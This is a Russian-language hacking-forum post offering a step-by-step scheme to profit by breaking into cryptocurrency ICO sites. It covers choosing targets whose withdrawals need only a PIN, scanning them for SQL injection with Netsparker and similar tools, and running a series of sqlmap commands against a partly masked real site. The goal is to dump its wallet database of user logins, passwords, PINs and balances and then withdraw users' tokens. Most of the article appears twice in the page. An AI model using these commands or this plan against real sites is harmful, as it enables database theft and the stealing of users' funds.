Grand
Форумчанин
- Сообщения
- 133
- Реакции
- 78
- Гарант
- 1
Введение
В данной статье я расскажу реально рабочий кейс как поднять бабла практически без вложений и в короткие сроки, каждый этап будет рассмотрен детально дабы не осталось никаких вопросов, однако если такие будут, то велком в комментарии. Мы будем искать уязвимые ICO, дампить их и выводить с них токены на биржу, там уже куда вам захочется. Тем кто занимается дампами данная статья покажется очень знакомой, однако даже они найдут здесь что-то новенькое для себя, поскольку тут будет практический план действий. Я уверен, что обязательно найдутся хейтеры у которых я забираю хлеб этой статьей.
Поиск цели
Правильно подобранная цель это уже пол дела, именно от этого зависит насколько наша затея окажется удачной. Нам нужны ICO проекты c небольшой, но и немаленькой посещаемостью, примерно 20к просмотров в месяц будет достаточно, информацию по просмотрам вы можете посмотреть на соответствующих сайтах [1]
Следующий критерий это условия вывода с ICO, нам нужно найти икошку где не нужна валидная почта для вывода, а если и нужна то ее можно изменить без каких либо затруднений, желательно что бы для вывода требовался какой нибудь пинкод или код двухфакторной аутентификации, так же в целом неплохо будет если для вывода не нужно будет никаких подтверждений и т.д., но лучше всего что бы был 6 значный пинкод.
И так, где же все-таки найти такую цель? Цели мы позаимствует у наших собратьев хацкеров, которые в основном занимаются брутом, думаю все знают такие софты как кипер, булит и юбц, на этих платформах пишут бруты и чекеры на всякие сервисы, в том числе и на ico. Я буду искать на одном из соседних бордов, в следующей ветке.
Собственно заходим и смотрим топики, обычно в них есть описание этих самых сайтов, когда они выводят и что нужно для вывода, вообщем ищем икошки по критериям которые я перечислил выше, в некоторых топиках будет хайд, можем попросить личный, возможно вам его дадут. Собираем названия всех ico-сайтов в один текстовик.
Веб сканнеры
Теперь когда мы собрали нормальное количество икошек, нам нужно проверить каждую из целей в веб сканере.
Больше всего распространены следующие сканеры: Netsparker, Acunetix, Owasp Zap, burp suite. Как видите сканеров тут на любой вкус и цвет, однако же я советую использовать все сканеры по очереди, то что пропустил Спаркер может найти Акуша, или то что пропустили оба из этих сканеров может найти бурп, я использовал все эти сканеры и больше всего из них мне нравится спарки, овасп немного слабоват, а бурп даст прикурить им всем. Однако стоит заметить, что разные версии спаркера ведут себя по разному и одна версия спарки может найти дыру, а другая нет, я же использую следующие версии: 4.9.5.18523 и 5.9.1.29030.
Нам нужно настроить сканеры под поиск Sql injection, я буду показывать на примере Netsparker, в других сканерах ситуация практически аналогичная, отличия лишь в незначительных деталях.
Сначало нажимаем Scan Policy Editor, дублируем главный пресет, после переименовываем его как вам угодно и в Security Check Group оставляем галочку напротив Sql injection, так же вы можете использовать сканеры для поиска других уязвимостей, LFI, XSS, XXE и т.д. однако нам сейчас это не интересно, просто сохраняем настройки.
Жмякаем кнопку для начала скана, указываем ссылку на сайт который хотим просканить, выбираем соответствующий пресет который мы только что создали, так же если сайт имеет какие либо защитные механизмы которые генерируют специальные куки, то просто зайдите на сайт в браузере, дождитесь того момента как получите доступ к сайту, потом просто вставьте их в соответствующее окошко в спаркере, начинаем скан и можем идти по своим делам.
Если сайт уязвимый, то по окончанию в окошке Issues вы увидите примерно следующую картину, красный кружок с восклицательным знаком, жмякаем и он покажет где уязвимость, может быть такое что сайт уязвим сразу в нескольких местах, тут уже как повезет, так же если вы сканировали главный домен и ничего не нашли, то попробуйте просканить поддомены, в данном случае я сканировал именно поддомен на который редиректит когда хочешь авторизоваться на сайте.
Итак, вы можете кликнуть по уязвимому месту(“/auth/email_chk (val2 (POST),val1)”) правой кнопкой, выйдет контекстное меню, где смело читается строчка «Copy sqlmap Command», логично она копирует команду для мапы в буфер обмена, давайте же посмотрим что у нас скопировалось.
Как видим картинка не очень красивая, я больше предпочитаю составлять реквест файл и уже его пихать в мапу, как по мне так команда получается красивая и более лаконичная. Для составления реквест файла жмякаем по уязвимому месту(“/auth/email_chk (val2 (POST),val1)”), выбираем таб HTTP Request /Response, копирем все эти данные в какой нибуть текстовой файл и обязательно убираем пейлоуд который автоматом подставил спаркер (т.к. мапа должна подставить свой собственный) и убираем лишние и прочие мусорные заголовки которые являются лишними, можете сравнить скрин со спаркера выше и скрин с текстовика, сами все поймете.
Сохраняем все это в удобном нам месте и переходим к следующей части.
Sqlmap
В данной части я уже непосредственно расcмотрю как слить базу данных сайта, прежде чем приступить к дампингу обязательно обновите мапу[2] до последней версии. И так, команда которую нам дал спаркер выглядит следующим образом:
После наших шаманских усилий с реквест файлом она приобразовывается в следующее:
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --dbs
Думаю разница вполне ощутима. И так давайте же посмотрим собственно, что значит каждый из аругементов и так же рассмотрим другие дополнительные которые тоже следует знать.
-u Этим аргументом мы указываем ссылку на нашу цель, которую хотим сдампить, --method соответственно указывает метод запроса, в нашем случае это POST запрос, если же нам попадется уязвимый сайт с GET методом, то в какой-то степени удобней будет указать ссылку на сайт не через реквест файл, а через аргумент -u (например если бы у нас был гет, а не пост: sqlmap.py -u "https://master.*****.com/auth/email_chk.php?val2=test" -p val2 --risk=3 --level=3 --dbms=MySQL –batch –dbs --random-agent), через параметр –data указывается отправляемая Post Data, при гет методе её нету, там дальше уже юзер-агент(--user-agent), хидеры(--headers), куки(--cookie).
Выше перечисленное мы просто запихали в реквест файл, тем самым красиво все оформив, я предпочитаю делать именно так и вам тоже советую.
-p Указывает на уязвимый параметр, в нашем случае это val2, смотрите в спаркере какой параметр у вас, и так же смотрите в спаркере какая DBMS используется на сайте, в моем случае это MySQL.
--batch Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию
--dbs Выводит базы данных
Про разные уровни --level и --risk вы можете прочитать по ссылке в источниках[3]
Так же есть важный аргумент, которого нет в нашей команде, однако он является обязательным, через который указывается техника sql иньекции, в некоторых случаях мапа может и вовсе не раскрутить скулю без него, у меня было очень много случаев, когда мапа просто не раскручивала скулю без этого параметра так что его лучше добавлять. Аргумент ---technique может принимать сразу несколько значений EUQBST, каждая буква означает разную технику, можно указать сразу несколько букв.
Если по итогу вы получите вот такую картину, то значит мапа успешно раскрутила скулю и получила названия баз данных.
Теперь нам лишь нужно просмотреть таблицы, выбрать нужную и слить из нее данные. Вернемся к нашей команде.
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --dbs --technique=E
Теперь когда мы получили названия баз данных, аргумент --dbs нам больше не требуется, убираем его и преобразовываем команду следующим образом.
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --technique=E -D master_wallet --tables
Через -D выбираем базу данных, --tables говорим то что там нужны таблицы.
Теперь среди таблиц ищем ту, в которой предположительно хранятся данные пользователей, в нашем случае это таблица member, у вас она возможно будет назваться по другому (например users или что-то типо того), нужно смотреть по обстоятельствам, теперь получаем колонки -D master_wallet -T member --columns.
Теперь когда мы получили колонки примерно выбираем те, что нам нужны, в моем случае мне нужны данные о логине, пароле, почте, балансе, имени и пинкоде, другие данные имеют второстепенное значение для меня, указываем какие колонки нам нужны и сливаем их, по итогу команда получается вот такой:
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --technique=E -D master_wallet -T member -C mem_id,email,mem_pw,mem_name,gcc,deal_pw,mem_name,mobile --dump --threads=10
Начнется дампинг сайта, если вам нужно будет вдруг остановить его Ctrl+C
Начать с определенной строки --start=1000
Все что вы сдампили сохраняется в AppData\Local\sqlmap\output однако этот путь можно изменить, указав аргумент --output-dir
Про другие параметры которые есть в мапе можете узнать в документации
В данной статье я расскажу реально рабочий кейс как поднять бабла практически без вложений и в короткие сроки, каждый этап будет рассмотрен детально дабы не осталось никаких вопросов, однако если такие будут, то велком в комментарии. Мы будем искать уязвимые ICO, дампить их и выводить с них токены на биржу, там уже куда вам захочется. Тем кто занимается дампами данная статья покажется очень знакомой, однако даже они найдут здесь что-то новенькое для себя, поскольку тут будет практический план действий. Я уверен, что обязательно найдутся хейтеры у которых я забираю хлеб этой статьей.
Поиск цели
Правильно подобранная цель это уже пол дела, именно от этого зависит насколько наша затея окажется удачной. Нам нужны ICO проекты c небольшой, но и немаленькой посещаемостью, примерно 20к просмотров в месяц будет достаточно, информацию по просмотрам вы можете посмотреть на соответствующих сайтах [1]
Следующий критерий это условия вывода с ICO, нам нужно найти икошку где не нужна валидная почта для вывода, а если и нужна то ее можно изменить без каких либо затруднений, желательно что бы для вывода требовался какой нибудь пинкод или код двухфакторной аутентификации, так же в целом неплохо будет если для вывода не нужно будет никаких подтверждений и т.д., но лучше всего что бы был 6 значный пинкод.
И так, где же все-таки найти такую цель? Цели мы позаимствует у наших собратьев хацкеров, которые в основном занимаются брутом, думаю все знают такие софты как кипер, булит и юбц, на этих платформах пишут бруты и чекеры на всякие сервисы, в том числе и на ico. Я буду искать на одном из соседних бордов, в следующей ветке.

Собственно заходим и смотрим топики, обычно в них есть описание этих самых сайтов, когда они выводят и что нужно для вывода, вообщем ищем икошки по критериям которые я перечислил выше, в некоторых топиках будет хайд, можем попросить личный, возможно вам его дадут. Собираем названия всех ico-сайтов в один текстовик.
Веб сканнеры
Теперь когда мы собрали нормальное количество икошек, нам нужно проверить каждую из целей в веб сканере.
Больше всего распространены следующие сканеры: Netsparker, Acunetix, Owasp Zap, burp suite. Как видите сканеров тут на любой вкус и цвет, однако же я советую использовать все сканеры по очереди, то что пропустил Спаркер может найти Акуша, или то что пропустили оба из этих сканеров может найти бурп, я использовал все эти сканеры и больше всего из них мне нравится спарки, овасп немного слабоват, а бурп даст прикурить им всем. Однако стоит заметить, что разные версии спаркера ведут себя по разному и одна версия спарки может найти дыру, а другая нет, я же использую следующие версии: 4.9.5.18523 и 5.9.1.29030.

Нам нужно настроить сканеры под поиск Sql injection, я буду показывать на примере Netsparker, в других сканерах ситуация практически аналогичная, отличия лишь в незначительных деталях.
Сначало нажимаем Scan Policy Editor, дублируем главный пресет, после переименовываем его как вам угодно и в Security Check Group оставляем галочку напротив Sql injection, так же вы можете использовать сканеры для поиска других уязвимостей, LFI, XSS, XXE и т.д. однако нам сейчас это не интересно, просто сохраняем настройки.

Жмякаем кнопку для начала скана, указываем ссылку на сайт который хотим просканить, выбираем соответствующий пресет который мы только что создали, так же если сайт имеет какие либо защитные механизмы которые генерируют специальные куки, то просто зайдите на сайт в браузере, дождитесь того момента как получите доступ к сайту, потом просто вставьте их в соответствующее окошко в спаркере, начинаем скан и можем идти по своим делам.

Если сайт уязвимый, то по окончанию в окошке Issues вы увидите примерно следующую картину, красный кружок с восклицательным знаком, жмякаем и он покажет где уязвимость, может быть такое что сайт уязвим сразу в нескольких местах, тут уже как повезет, так же если вы сканировали главный домен и ничего не нашли, то попробуйте просканить поддомены, в данном случае я сканировал именно поддомен на который редиректит когда хочешь авторизоваться на сайте.

Итак, вы можете кликнуть по уязвимому месту(“/auth/email_chk (val2 (POST),val1)”) правой кнопкой, выйдет контекстное меню, где смело читается строчка «Copy sqlmap Command», логично она копирует команду для мапы в буфер обмена, давайте же посмотрим что у нас скопировалось.

Как видим картинка не очень красивая, я больше предпочитаю составлять реквест файл и уже его пихать в мапу, как по мне так команда получается красивая и более лаконичная. Для составления реквест файла жмякаем по уязвимому месту(“/auth/email_chk (val2 (POST),val1)”), выбираем таб HTTP Request /Response, копирем все эти данные в какой нибуть текстовой файл и обязательно убираем пейлоуд который автоматом подставил спаркер (т.к. мапа должна подставить свой собственный) и убираем лишние и прочие мусорные заголовки которые являются лишними, можете сравнить скрин со спаркера выше и скрин с текстовика, сами все поймете.

Сохраняем все это в удобном нам месте и переходим к следующей части.
Sqlmap

В данной части я уже непосредственно расcмотрю как слить базу данных сайта, прежде чем приступить к дампингу обязательно обновите мапу[2] до последней версии. И так, команда которую нам дал спаркер выглядит следующим образом:
Код:
sqlmap.py -u "https://master.*****.com/auth/email_chk" -p "val2" --risk="3" --level="3" --method="POST" --data="val1=netsparker%40example.com&val2=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36" --cookie="__zlcmid=13IjuPSLHgWcLj8; ci_session=76vvdh8ren0vgikibjpvhe0mm9bspb5r" --headers="Host:master.***.com\nAccept:application/json, text/javascript, */*; q=0.01\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded; charset=UTF-8\nOrigin:https://master.****.com\nReferer:https://master.****.com/auth/signup\nX-Requested-With:XMLHttpRequest" --dbms="MySQL" --batch
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --dbs
Думаю разница вполне ощутима. И так давайте же посмотрим собственно, что значит каждый из аругементов и так же рассмотрим другие дополнительные которые тоже следует знать.
-u Этим аргументом мы указываем ссылку на нашу цель, которую хотим сдампить, --method соответственно указывает метод запроса, в нашем случае это POST запрос, если же нам попадется уязвимый сайт с GET методом, то в какой-то степени удобней будет указать ссылку на сайт не через реквест файл, а через аргумент -u (например если бы у нас был гет, а не пост: sqlmap.py -u "https://master.*****.com/auth/email_chk.php?val2=test" -p val2 --risk=3 --level=3 --dbms=MySQL –batch –dbs --random-agent), через параметр –data указывается отправляемая Post Data, при гет методе её нету, там дальше уже юзер-агент(--user-agent), хидеры(--headers), куки(--cookie).
Выше перечисленное мы просто запихали в реквест файл, тем самым красиво все оформив, я предпочитаю делать именно так и вам тоже советую.
-p Указывает на уязвимый параметр, в нашем случае это val2, смотрите в спаркере какой параметр у вас, и так же смотрите в спаркере какая DBMS используется на сайте, в моем случае это MySQL.

--batch Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию
--dbs Выводит базы данных
Про разные уровни --level и --risk вы можете прочитать по ссылке в источниках[3]
Так же есть важный аргумент, которого нет в нашей команде, однако он является обязательным, через который указывается техника sql иньекции, в некоторых случаях мапа может и вовсе не раскрутить скулю без него, у меня было очень много случаев, когда мапа просто не раскручивала скулю без этого параметра так что его лучше добавлять. Аргумент ---technique может принимать сразу несколько значений EUQBST, каждая буква означает разную технику, можно указать сразу несколько букв.
- Слепые
- B: Boolean-based blind
- S: Stacked queries
- T: Time-based blind
- Обычные
- E: Error-based
- U: Union query-based
- Q: Inline queries
Если по итогу вы получите вот такую картину, то значит мапа успешно раскрутила скулю и получила названия баз данных.

Теперь нам лишь нужно просмотреть таблицы, выбрать нужную и слить из нее данные. Вернемся к нашей команде.
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --dbs --technique=E
Теперь когда мы получили названия баз данных, аргумент --dbs нам больше не требуется, убираем его и преобразовываем команду следующим образом.
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --technique=E -D master_wallet --tables
Через -D выбираем базу данных, --tables говорим то что там нужны таблицы.

Теперь среди таблиц ищем ту, в которой предположительно хранятся данные пользователей, в нашем случае это таблица member, у вас она возможно будет назваться по другому (например users или что-то типо того), нужно смотреть по обстоятельствам, теперь получаем колонки -D master_wallet -T member --columns.

Теперь когда мы получили колонки примерно выбираем те, что нам нужны, в моем случае мне нужны данные о логине, пароле, почте, балансе, имени и пинкоде, другие данные имеют второстепенное значение для меня, указываем какие колонки нам нужны и сливаем их, по итогу команда получается вот такой:
sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --technique=E -D master_wallet -T member -C mem_id,email,mem_pw,mem_name,gcc,deal_pw,mem_name,mobile --dump --threads=10
Начнется дампинг сайта, если вам нужно будет вдруг остановить его Ctrl+C
Начать с определенной строки --start=1000
Все что вы сдампили сохраняется в AppData\Local\sqlmap\output однако этот путь можно изменить, указав аргумент --output-dir
Про другие параметры которые есть в мапе можете узнать в документации
Последнее редактирование: